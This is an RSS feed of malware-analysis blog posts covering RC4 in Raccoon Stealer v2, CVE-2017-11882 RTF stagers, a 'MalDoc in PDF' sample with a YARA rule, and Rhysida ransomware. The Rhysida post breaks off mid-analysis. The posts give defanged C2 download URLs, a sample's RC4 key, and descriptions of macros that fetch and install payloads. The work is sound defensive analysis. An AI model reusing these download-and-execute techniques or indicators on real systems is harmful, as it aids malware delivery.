<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Venus Chhantel on Medium]]></title>
        <description><![CDATA[Stories by Venus Chhantel on Medium]]></description>
        <link>https://medium.com/@venus.chhantel?source=rss-a5c27af9612d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*v7sFhmkrUEkW5GsAARikbw.png</url>
            <title>Stories by Venus Chhantel on Medium</title>
            <link>https://medium.com/@venus.chhantel?source=rss-a5c27af9612d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 15:03:53 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@venus.chhantel/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Identifying Encryption Algorithms in Malware (I): RC4]]></title>
            <link>https://medium.com/@venus.chhantel/identifying-encryption-algorithms-in-malware-i-rc4-80312d99e2ac?source=rss-a5c27af9612d------2</link>
            <guid isPermaLink="false">https://medium.com/p/80312d99e2ac</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[algorithms]]></category>
            <category><![CDATA[encryption]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Venus Chhantel]]></dc:creator>
            <pubDate>Fri, 01 Dec 2023 01:47:49 GMT</pubDate>
            <atom:updated>2023-12-04T17:44:07.348Z</atom:updated>
            <content:encoded><![CDATA[<h3>Background</h3><p>Encryption serves as a sophisticated mechanism employing algorithms to convert plaintext into ciphertext, establishing as a stalwart guardian to safeguard sensitive information from unauthorized access. Yet, in the intricate game of cat and mouse between defenders and adversaries, encryption has also found an unwelcome application in the realm of malware.</p><p>Malware leverage encryption algorithm for anti-defense and anti-analysis. There are two approaches that malware author can take to leverage encryption, which are:</p><ul><li>Using APIs</li><li>Coding encryption algorithms</li></ul><p>In case of samples using API for encryption, it can be easily identified because Microsoft has documented most of those APIs.</p><ul><li><a href="https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/">Wincrypt.h header — Win32 apps | Microsoft Learn</a></li><li><a href="https://learn.microsoft.com/en-us/windows/win32/api/bcrypt/nf-bcrypt-bcryptencrypt">BCryptEncrypt function (bcrypt.h) — Win32 apps | Microsoft Learn</a></li></ul><h4>Example</h4><p>Consider a sample that has functionality to decrypt obfuscated strings during run time. And for this, it uses <strong>CryptGenKey</strong> API from <strong>WinCrypt</strong> to generate cryptographic key, which handle will be passed to <strong>CryptDecrypt </strong>to decrypt those obfuscated strings.</p><p>Following the <a href="https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptdecrypt">Microsoft documentation on <strong>CryptGenKey</strong></a> as shown below, the second parameter it takes is Algorithm ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/230/1*slusAiaM4Wb6MEnLP6xLeg.png" /></figure><p>By checking the <a href="https://learn.microsoft.com/en-us/windows/win32/seccrypto/alg-id">value of Algorithm ID</a> that is passed as second parameter to the <strong>CryptGenKey</strong> API, the encryption algorithm can be identified easily.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*huoSR-GMqXuQKQUqhe2egg.png" /></figure><p>The usage of API made it easier to detect. But what if malware author codes cryptographic algorithm?</p><p>In such cases, malware analyst needs to understand the flow of cryptographic algorithm in order to identify them. So, this blog series will focus on identifying such algorithms. This first blog of this series will start with RC4.</p><h3>RC4 (Rivest Cipher 4)</h3><p>RC4 is symmetric stream cipher developed by Ronald Rivest in 1987. It is one of the most encountered cryptographic algorithms in malware because of its simplicity and efficiency. It is widely used by malware for activities like:</p><ul><li>To encrypt network communication to its C2.</li><li>To decrypt obfuscated strings and 2nd stager binary.</li></ul><p>RC4 algorithm consist of 3 stages:</p><p><strong>KSA (Key Scheduling Algorithm)</strong></p><ul><li>In this phase, a 256-byte array substitution box is first initialized.</li><li>Then, using the key, the initialized substitution box is scrambled.</li></ul><pre>def KSA(key):<br>    SBox = list(range(0,256))                        # Initialize SBox with 256 values<br>    j = 0<br>    for i in range (0,256):<br>        j = (j + SBox[i] + key[i % len(key)]) % 256  #SBox is scrambled with key<br>        SBox[i],SBox[j] = SBox[j],SBox[i]            #Swap SBox[i] and SBox[j]<br>    return SBox </pre><p><strong>PRGA (Pseudo Random Generation Algorithm)</strong></p><ul><li>In this phase, the scrambled substitution box created in KSA stage is used to generate keystream.</li></ul><pre>def PRGA(SBox):<br>    i = 0<br>    j = 0<br>    while True:<br>        i = (i + 1) % 256                      <br>        j = (j + SBox[i]) % 256<br>        SBox[i],SBox[j] = SBox[j],SBox[i]      #Swap SBox[i] and SBox[j]<br>        yield SBox[(SBox[i] + SBox[j]) % 256]  #Returns key stream generator</pre><p><strong>XOR</strong></p><ul><li>In this phase, each byte of plaintext/ciphertext is XOR with each byte of key stream generated in previous PRGA stage.</li></ul><pre>def XOR(keyStream):<br>    bufferCipher = &#39;&#39;<br>    for c in plainText:<br>        bufferCipher += &quot;%02X&quot; % (ord(c) ^ next(keyStream)) #XOR each byte of key stream with each byte of plaintext/cipher<br>    return bufferCipher</pre><p>The main function of the code is shown below.</p><pre>key = [ord(c) for c in &quot;SecretKey&quot;]<br>plainText = &#39;C2 Network Communications&#39;<br>cipherText = &#39;&#39;<br><br>SBox = KSA(key)<br>keyStream = PRGA(SBox)<br>cipherText = XOR(keyStream)<br>print(cipherText)</pre><p><strong>Indicator:</strong></p><p>The RC4 algorithm flow is easy to recognize.</p><ul><li>The loops for 256 iterations are dead giveaway of RC4.</li></ul><p><strong>Note:</strong> Tools like CAPA and KANAL can help to identify the possible cryptographic algorithm used in the sample.</p><h4><strong>CASE STUDY: RACCOON STEALER v2</strong></h4><p><strong>MD5:</strong> 0cfa58846e43dd67b6d9f29e97f6c53e</p><p><strong>NOTE: </strong>I have changed the functions and variables name in both IDA and x32dbg to make it easier to understand. If you analyze this sample, you will find gibberish functions and variables name.</p><p>The Raccoon stealer v2 had employed RC4 algorithm to decrypt its strings and C2. Let&#39;s analyze this in IDA as shown in image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*kqeOxv9QxZgurHAVLCdJDg.png" /></figure><p>Here, RC4_decrypt function will decrypt the strings using RC4 algorithm.</p><ul><li>The 2nd parameter passed are the obfuscated strings, which are decoded from base64 just a step above.</li><li>The 3rd parameter is the reference to v109 variable that stores the length of decoded base64 text (will be clear during debugging).</li><li>The 4th parameter passed is the key for RC4 encryption, which is ‘edinayarossiya’.</li></ul><p>Under RC4_decrypt function as shown below, is<strong> KSA</strong> stage:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*qfGFP54FokT3CZzrxko0rA.png" /></figure><ul><li>First, there is do-while loop where a substitution box is initialized.</li><li>Then, under for loop, the initialized substitution box is scrambled with the key.</li><li>The other phases of RC4 are under sub_40869D.</li></ul><p>Under the function sub_40869D, there were other phases of RC4, i.e.,<strong> PRGA</strong> and <strong>XOR</strong> as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*1eWZSKCwZflosaOzkbfG4A.png" /></figure><p>The for loop will iterate till the length of cipher text (a3).</p><ul><li>In the PRGA phase, a key stream is generated from the scrambled substitution box, which each byte is XOR with each byte of cipher text.</li></ul><p>Let&#39;s now debug this sample in x32dbg. The part where the obfuscated strings are passed to base64_decode function and rc4_decrypt function can be seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*-g3z92owhjB3QSbw6-QLwQ.png" /></figure><p>For now, let&#39;s take an example of one obfuscated string ‘fVQMox8c’. First the string will be passed to base64_decode function that will decode it and return the value address in eax register. And the decoded text when checked in dump was found to be ‘}T.£..’ as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*ggxCARdV7r8nrSk082lQbQ.png" /></figure><p>Then, before the call to rc4_decrypt function at offset 002C405F, it pushes 3 values, which are:</p><ol><li><strong>Key</strong></li></ol><ul><li>The ‘<em>push edi</em>’ instruction pushes the key ‘edinayarossiya’ to the stack. Although passed at first, it is the last parameter of the rc4_decrypt because of little endian.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*a9qks-tT7S5dLk9q2PwKuw.png" /></figure><p>2.<strong> Length of Base64 decoded text</strong></p><ul><li>Next is ‘<em>push ecx</em><strong>’ </strong>instruction which pushes the length of the cipher text that was decoded from the previous function base64_decode, which is 6.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*nYrDwPXrC6C1i0mIrf6CvQ.png" /></figure><p>3. <strong>Base64 decoded text</strong></p><ul><li>Then, there is ‘<em>push eax</em><strong>’ </strong>instruction which pushes the cipher text that was decoded from the previous function base64_decode, which is ‘}T.£..’ as shown below.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*OjHIfgA_2yUyu_tOk3KzGw.png" /></figure><p>After passing those values, the rc4_decrypt function will be called.</p><p>Let&#39;s dive into rc4_decrypt function. Under the function, the part responsible for initializing substitution box can be seen as shown below. This is the do-while loop that was seen in IDA.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*5ymhqx44QlBpOR4oHojXPg.png" /></figure><p>It will loop till the ecx register (counter) is less than 100h (256). And at each iteration, the ecx value will increase by 4. During this the substitution box is initialized, which can be seen in the Dump as shown above.</p><p>After that, there is another loop which will scramble the substitution box with the key as shown below. This is the do-while loop that was seen in IDA.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*EdiRoSgmXMCnYQB1jBeerQ.png" /></figure><p>It will loop till the ebx register is less than 100h (256). During which the previously initialized substitution box is scrambled as seen in the Dump as shown above. Above completing scrambling substitution box, there is call to 2C869D function as well.</p><p>Under 2C869D function, there is PRGA and XOR stages as shown in image below, which was also seen in IDA.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*RslTqTVco4_pf7z05lBMGw.png" /></figure><p>It will loop till the length of cipher text which is stored in edi register. And the eax register is the counter, which is compared with edi register to loop till length of cipher text. This is the for loop that was seen in IDA. The keystream generated from PRGA is XOR with cipher text, which output can be seen in dump below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*R3blmJz_nKsz8vRZD-Tysg.png" /></figure><p>The cipher text ‘fVQMox8c’ after decoding from base64 and decrypting from rc4 was found to be ‘tlgrm_’.</p><p>Decrypting manually each of those cipher in this way will be time-consuming. So, config extractor can be written to automate these kinds of activities. I will publish the config extractor of this sample soon in my GitHub.</p><p>Stay tune for the next blog of this series.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=80312d99e2ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Families Attempting to Exploit Legacy Vulnerability (CVE-2017–11882)]]></title>
            <link>https://medium.com/@venus.chhantel/malware-families-attempting-to-exploit-legacy-vulnerability-cve-2017-11882-d3a64fb75a58?source=rss-a5c27af9612d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3a64fb75a58</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Venus Chhantel]]></dc:creator>
            <pubDate>Wed, 06 Sep 2023 20:40:36 GMT</pubDate>
            <atom:updated>2023-12-04T17:50:11.890Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction:</h3><p>CVE-2017–11882, a 6-year-old vulnerability in Microsoft Office, is still being attempted to exploit by several malware families. Based on the Malware Bazaar feed as shown in figure below, recent top malware like AgentTesla, Remcos, Formbook, Loki, etc. are still targeting this vulnerability to this day.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FEwiYYnoPE-N06xpLZbL5A.png" /></figure><p>Despite the fact that the patch was provided in 2017, given the amount of malware families that target this vulnerability, it is fair to assume that there are unpatched devices out there. As a result, this vulnerability has been a popular target for different malware families to use as their initial stager in order to attack the vulnerability and deliver their final payload.</p><h3>CVE-2017–11882 Summary:</h3><p>CVE-2017–11882 is a stack-based buffer overflow vulnerability found in Equation Editor. Equation Editor is a Microsoft Office component that inserts or changes OLE (Object Linking and Embedding) elements in documents. Furthermore, because it is an out-of-process COM server hosted by eqnedt32.exe, it operates as a its own process and can take commands from other processes. As a result, an attacker can execute code from within the eqnedt32.exe process. Although this stack-based buffer overflow was preventable through ASLR (Address Space Layout Randomization) and DEP (Data Execution Prevention), the way the binary was linked and the fact the binary was compiled in 2000 made it not applicable for that. Its patch was released in 2017.</p><h3>Technical Analysis:</h3><p>The payload to exploit the CVE-2017–11882 are typically hidden within Microsoft Office files like xls, doc or rtf. These files are delivered through spam mails and acts as the initial stager that will download the loader (which will then download final payload) or the final payload directly. For the analysis on how malware abuse this vulnerability, a recent rtf format sample was taken from Malware Bazaar.</p><h4>Identification:</h4><p><strong>Source: </strong><a href="https://bazaar.abuse.ch/sample/59e7f344c86d2adef46011daccd3206e9fb87ad3edc3b88910daf4e5bc5c2401/">Malware Bazaar</a><br><strong>SHA256: </strong>59e7f344c86d2adef46011daccd3206e9fb87ad3edc3b88910daf4e5bc5c2401<br><strong>AV-Detection: </strong>34/59 (<a href="https://www.virustotal.com/gui/file/59e7f344c86d2adef46011daccd3206e9fb87ad3edc3b88910daf4e5bc5c2401">VirusTotal</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*pKjFH_XOte7rxbofEVHcqw.png" /></figure><h4>Analysis:</h4><p><strong>Static Analysis:</strong></p><p>First, on the rtf file obtained from Malware Bazaar, static analysis was started using the oletool, particularly the rtfdump. Using the rtfdump tool, objects embedded within the rtf file was checked as:</p><pre>rtfdump.py -f O yFwFFUG8b5.rtf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*WsVxPnFUGRiI3Ab9ZM2ESA.png" /></figure><p>From the output in above figure, an object named b’eQUaTion.3\x00&#39; can be seen at stream 4. The object named eQUaTion along with 3 (vulnerable version) gives the idea that the vulnerability present in Equation Editor could possibly be exploited by it.</p><p>Now, based on the above output, it was looked deeper into the stream to view the contents of that object as:</p><pre>rtfdump.py -s 4 -H yFwFFUG8b5.rtf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*HDK_4xTrSS2Nr95A-O3Fpw.png" /></figure><p>The output as shown in above figure point out many interesting information:</p><ul><li>First references to Equation Editor 3.0, PE file signature, Kernel32 DLL and some windows API can be seen.</li><li>One interesting API is URLDownloadToFileW, which can be seen along with a URL named hxxp[:]//wsvdyhrgebwhevawe[.]ydns[.]eu/fileone/Fnvtdhenapsfwu[.]exe.</li><li>Also, there is path %APPDATA%CHROME.exe.</li></ul><p>Based on these above findings, it can be hypothesized that this file is an initial stager which will exploit the vulnerability in Equation Editor and try to reach wsvdyhrgebwhevawe[.]ydns[.]eu, its C2 server to download the loader/final payload named Fnvtdhenapsfwu[.]exe and save it as CHROME.exe under AppData directory. The dynamic analysis will shed more light on these above findings and hypothesis.</p><p><strong>Dynamic Analysis:</strong></p><p>For the dynamic analysis, AnyRun sandbox was used because the sandbox came with vulnerable version of Equation Editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*3OvEgyH362yqhbKDUfvDvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*n8U5vuBP8W-kwoVJIErjvg.png" /></figure><p>As per the ANYRUN analysis as shown in the figures above, following interesting information was found, which support the hypothesis formed during static analysis:</p><ul><li>After opening the file, the vulnerability present in Equation Editor was exploited and following that, it executed the CHROME.exe (Dbatloader ) as its child process as shown in first figure. The loader CHROME.exe is actually Fnvtdhenapsfwu[.]exe, which was downloaded from its C2 hxxp[:]//wsvdyhrgebwhevawe[.]ydns[.]eu/fileone/Fnvtdhenapsfwu[.]exe after exploiting vulnerability as shown in the second figure.</li><li>After that, the loader CHROME.exe can be seen executing SndVol.exe (Remcos RAT) as its child process in first figure. In the second figure, it can be seen that the loader contacted its C2 server to get the final payload SndVol.exe, i.e., Remcos RAT in this case.</li></ul><p>Remcos RAT is ranked as top 4 RAT used worldwide as per Checkpoint. Since the scope of this blog is on malware families attempting to exploit the CVE-2017–11882, so it will not cover Remcos RAT analysis.</p><h3>Recommendations:</h3><ul><li>Keep software and security patches up to date.</li><li>Use reputable antivirus software.</li><li>Use email and web filtering solutions.</li><li>Use reputable IPS/IDS and firewall solutions.</li></ul><h3>Conclusion:</h3><p>Although CVE-2017–11882 is a legacy vulnerability, its being actively attempted to exploit by different malware families. This blog showed how malware exploit this vulnerability to act as their initial stager in order to download their final payload. In the case above, although Remcos RAT was downloaded as final payload, it is not limited to it. Other malware families like Agent Tesla, Loki, Formbook, Ave Maria, etc. are also employing this technique to deliver their malware.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3a64fb75a58" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analysis of ‘MalDoc in PDF’]]></title>
            <link>https://medium.com/@venus.chhantel/analysis-of-maldoc-in-pdf-4fc5e745a706?source=rss-a5c27af9612d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4fc5e745a706</guid>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[maldoc]]></category>
            <category><![CDATA[macro]]></category>
            <dc:creator><![CDATA[Venus Chhantel]]></dc:creator>
            <pubDate>Wed, 30 Aug 2023 08:38:20 GMT</pubDate>
            <atom:updated>2023-08-30T10:28:36.533Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*VUzaPdV-zJx2qbIdw47zaA.png" /></figure><h3>Introduction:</h3><p>This year, in July, a new “MalDoc in PDF” attack which could evade detection and analysis was shared by <a href="https://www.bleepingcomputer.com/news/security/maldoc-in-pdfs-hiding-malicious-word-docs-in-pdf-files/#:~:text=Japan%27s%20computer%20emergency%20response%20team%20%28JPCERT%29%20is%20sharing,open%20it%20as%20a%20regular%20Word%20document%20%28.doc%29.">JPCERT</a>. This malware was polyglot, meaning a file that combine two or more file formats in a way that it could be executed as more than one file type by different application without error to evade detection and hinder analysis tools. In this case, the malware sample could be opened either as Word or as PDF and had embedded MHT (MIME HTML) that encoded macro in its ActiveMime.</p><h3>Identification:</h3><p><strong>Source:</strong> <a href="https://tria.ge/230829-clz17ahd83">Triage</a></p><p><strong>FileName:</strong> 0723Request.pdf</p><p><strong>SHA256:</strong> ef59d7038cfd565fd65bae12588810d5361df938244ebad33b71882dcf683058</p><p><strong>AV-Detection:</strong> 22/59 (<a href="https://www.virustotal.com/gui/file/ef59d7038cfd565fd65bae12588810d5361df938244ebad33b71882dcf683058">VirusTotal</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PEyslpp2OfHfVsPRDMIHuw.png" /></figure><h3>Analysis:</h3><h4><strong>Static Analysis:</strong></h4><p>The sample collected was a PDF file, which are normally initial stager. Let&#39;s start with static analysis of this sample by loading this file in VSCode. Initially, its contents looked legitimate with PDF header and objects as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jipSdIw8eQwFepoLd4pEdA.png" /></figure><p>But scrolling through the contents, there is MIME version declaration as shown below. From this part, the MHT (MIME HTML) content starts. Since this sample is polyglot and can be executed as Word file, the Word file can render this MHT contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*emYwCRrjZ_avUe_zFI2HLA.png" /></figure><p>The &lt;link rel=’Edit-Time-Date’&gt; object inside the MHT content point to ActiveMime. Here, ActiveMime is an undocumented Microsoft file format that is often used to encode the macro.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jqqtgwxmlE_hw_L8AFCScw.png" /></figure><p>Also in above figure, note that the referenced location (href) to the ActiveMime of ‘Edit-Time-Date’ object is encoded, which was decoded using CyberChef as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tb21jSsPNlAv2qKQjhJ3ZQ.png" /></figure><p>Using decoded location path name ‘lonhzFH_files/image7891805.jpg’, it was searched in VScode and jumped to that part as shown below. The content (ActiveMime) is obfuscated text with lots of spaces.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JTdYgkEriPdNiHttQLKEYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IvXuRexvQli5wNPUdMrfRw.png" /></figure><p>The contents from above were copied to CyberChef where it revealed that those spaces were actually created by CR (Carriage Return)’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vdDtzGYfyGH1-NHrmf1AyA.png" /></figure><p>The content was then decoded from Base64 revealing it to be ActiveMime, which encode the macro. So, it was then saved as macro.bin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X7ByHMYU3MjkRsDDUvjfvQ.png" /></figure><p>To search for the embedded macro inside the decoded content, binwalk was used.</p><pre>binwalk macro.bin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mUcophOlKOn-oQyPOaG-Qg.png" /></figure><p>The binwalk revealed a compressed data, which is part of the ActiveMime format that encode the macro. It was again extracted using binwalk.</p><pre>binwalk -D=&#39;.*&#39; macro.bin</pre><p>After extracting, it revealed a file named 32, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*bYVI72MsN-93DJGqJqOZAQ.png" /></figure><p>The above extracted file should be the decoded malicious macro. So, it was checked using the Oletools. First, Oleid was used to check for any macro.</p><pre>oleid 32</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*quyfon1TH05vxcsGLyWdXQ.png" /></figure><p>The Oleid tool found VBA macros within it.</p><p>To extract the VBA macro inside it, Olevba tool was used.</p><pre>olevba 32</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nqx4tuLwHwGoU3C4vJmkEA.png" /></figure><p>Here, from the output of olevba tool, it can be found that the macro will download a msi file from its C2 server (hxxps[:]//cloudmetricsapp[.]com/wp-content/uploads/docs/addin[.]msi). Then, it will execute the downloaded msi file with Office.InstallProduct. Also, this macro will be executed as soon as the Word file is opened through AutoExec, and download and install that msi file.</p><p>This further verify that this pdf sample file is an initial stager that will bypass detection and download another payload, which is the msi file.</p><p>Using the URL obtained from the macro, it was checked in <a href="https://www.browserling.com/">Browserling</a> sandbox if it acts as downloader. But it was unreachable as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i6oObcCBDoxAAuz0cOLj9A.png" /></figure><h4><strong>Dynamic Analysis:</strong></h4><p>Let&#39;s now further analyze this sample through dynamic analysis. The PDF file was saved as Word file and opened. Notice the ‘Enable Content’ is still there. Although this sample was able to bypass detection, it was not able to bypass this protection measure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*KOFqfeJztMVT1L_Gq1ikiw.png" /></figure><p>When the ‘Enable Content’ is enabled, the Word will render the MHT contents, which will decode the macro from the ActiveMime blob and execute it to download the msi file as discovered during static analysis.</p><p>In the Wireshark capture, it can be seen that it is resolving the domain cloudmetricsapp[.]com to IP address of 179[.]60[.]147[.]105. After that the infected host tried to initiate connection over 443 to download the msi file but get no reply from server as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UAHxPE7WR2vhdh8ecTWu-Q.png" /></figure><p>It is clear now that this ‘MalDoc in PDF’ is an initial stager that will download its final payload by bypassing detection. And there have been many scenarios where one malware family has been used as initial stager for other malware families. So, in near future, this malware could probably be used by other malware families to act as their initial stager. So, the next section will include YARA rule for detecting these kind of malware samples.</p><h3>Detection with YARA:</h3><pre>rule MaldocinPDF{<br>  meta:<br>        description= &quot;Detecting MalDocs in PDF&quot;<br>    strings:<br>        $mht0 = &quot;mime&quot; ascii nocase<br>        $mht1 = &quot;content-location:&quot; ascii nocase<br>        $mht2 = &quot;content-type:&quot; ascii nocase<br>        $mht3 = &quot;Edit-Time-Data&quot; ascii nocase<br>        $doc = &quot;&lt;w:WordDocument&gt;&quot; ascii nocase<br>        $xls = &quot;&lt;x:ExcelWorkbook&gt;&quot; ascii nocase<br>     condition:<br>        (uint32(0) == 0x46445025) and<br>        (2 of ($mht*)) and <br>        ( (1 of ($doc)) or <br>          (1 of ($xls)) )<br>}</pre><h3>IoC:</h3><p>Explore IoC of ‘MalDoc in PDF’ from Virus Total Graph as they have great visualization.</p><p><strong>Link:</strong> <a href="https://www.virustotal.com/graph/gf02630da298546129218c8f0577ea4a751c3137cfcb54c56b785a69b33d5372f">VirusTotal Graph</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*o9OgwHTT2Y5wp00yn_Zhgg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4fc5e745a706" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Rhysida 0.1 Ransomware]]></title>
            <link>https://medium.com/@venus.chhantel/rhysida-0-1-ransomware-1b233672c470?source=rss-a5c27af9612d------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b233672c470</guid>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[rhysida-ransomware]]></category>
            <dc:creator><![CDATA[Venus Chhantel]]></dc:creator>
            <pubDate>Tue, 15 Aug 2023 09:46:47 GMT</pubDate>
            <atom:updated>2023-08-15T09:46:47.672Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*hgY9npveOjThseQR.jpg" /><figcaption>Rhysida is a genus of Scolopendromorph centipede (Img Src: <a href="https://www.pinterest.com/pin/677862181401808242/">https://www.pinterest.com/pin/677862181401808242/</a>)</figcaption></figure><h3>Introduction:</h3><p>Earlier this year, in May, Rhysida, a new ransomware strain has surfaced. This ransomware operates on RaaS model. This ransomware is still at its early stage and its current version is called Rhysida 0.1. Although the ransomware is at its infancy, it has been linked to series of high-profile attacks and has been targeting several industries. According to HHS, it is listed as one of the top threats to healthcare sector.</p><h3>Case Study: Rhysida 0.1 Ransomware</h3><h4>Identification:</h4><p><strong>SHA256: </strong>a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6<br><strong>AV Detection:</strong> 54/71 detected (<a href="https://www.virustotal.com/gui/file/a864282fea5a536510ae86c77ce46f7827687783628e4f2ceb5bf2c41b8cd3c6/details">VirusTotal</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qUQ2AiYogTvv6_G2WcfMIQ.png" /></figure><h3>Analysis:</h3><h4><strong>Static Analysis:</strong></h4><p>The analysis of the sample was started with the static analysis by examining the file headers and metadata. Using <strong>PeStudio</strong> tool, the compile-stamp was checked which indicate that the sample was developed on May 15 (Mon) 2023 at 16:29:10. This could be the actual timestamp of this sample considering its first attack was reported on May 17.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MhG1gFu_IKIhKeHB6mB_0w.png" /></figure><p>After this, the strings of this sample were extracted using <strong>FLOSS</strong> tool and saved to a text file as:</p><pre>floss.exe 3pckfwua.exe &gt; strings.txt</pre><p>Some of the interesting strings found in this sample are:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g46NilknyhnGe6WNBB_4Ow.png" /></figure><p>In the above figure:</p><ul><li>The ransom note was found.</li><li>The strings related to PDF header and objects were also found. Also, the string ‘CriticalBreachDetected.pdf’ and the heading of the ransomware note ‘Critical Breach Detected’ matches. So, this sample could be using the ‘CriticalBreachDetected.pdf’ file as ransom note.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FKT9dM5TkfcTQZiypU0IHA.png" /></figure><ul><li>Also, the strings related to PDF trailer were found containing the metadata of its creation at 2023 May 15 at 16:28:56, which is around a minute before creating this executable sample. This further back up the creation date of the sample.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dOyFpoEoBgZ3xCL1HKOGpg.png" /></figure><p>In the above figure:</p><ul><li>The version of this ransomware sample, i.e., Rhysida-0.1 was found.</li><li>The path (C:/Users/Public/bg.jpg) where the background image will be dropped by the sample was also found.</li><li>Then, a series of commands (will be covered later in detail during dynamic analysis) were also found.</li></ul><p>Since this ransomware is still at its infancy, a lot of information were easily extracted just with static analysis. But later with time, this ransomware may evolve enforcing obfuscation and anti-analysis to make the analysis challenging.</p><h4><strong>Dynamic Analysis:</strong></h4><p>For the dynamic analysis, the sample was debugged using <strong>x64dbg</strong> tool. The program calls the GetSystemInfo API and then checks the number of processors of the victim machine, value in stack frame [rbp+80] after the call.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*STt-twWxlykM46J1cdKFag.png" /></figure><p>After that there is call to <strong>printf</strong> which prints the output to its console.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7v-xfEYfg60gBDpu57o-jw.png" /></figure><p>The malware then constructs the string ‘Program:’ on stack 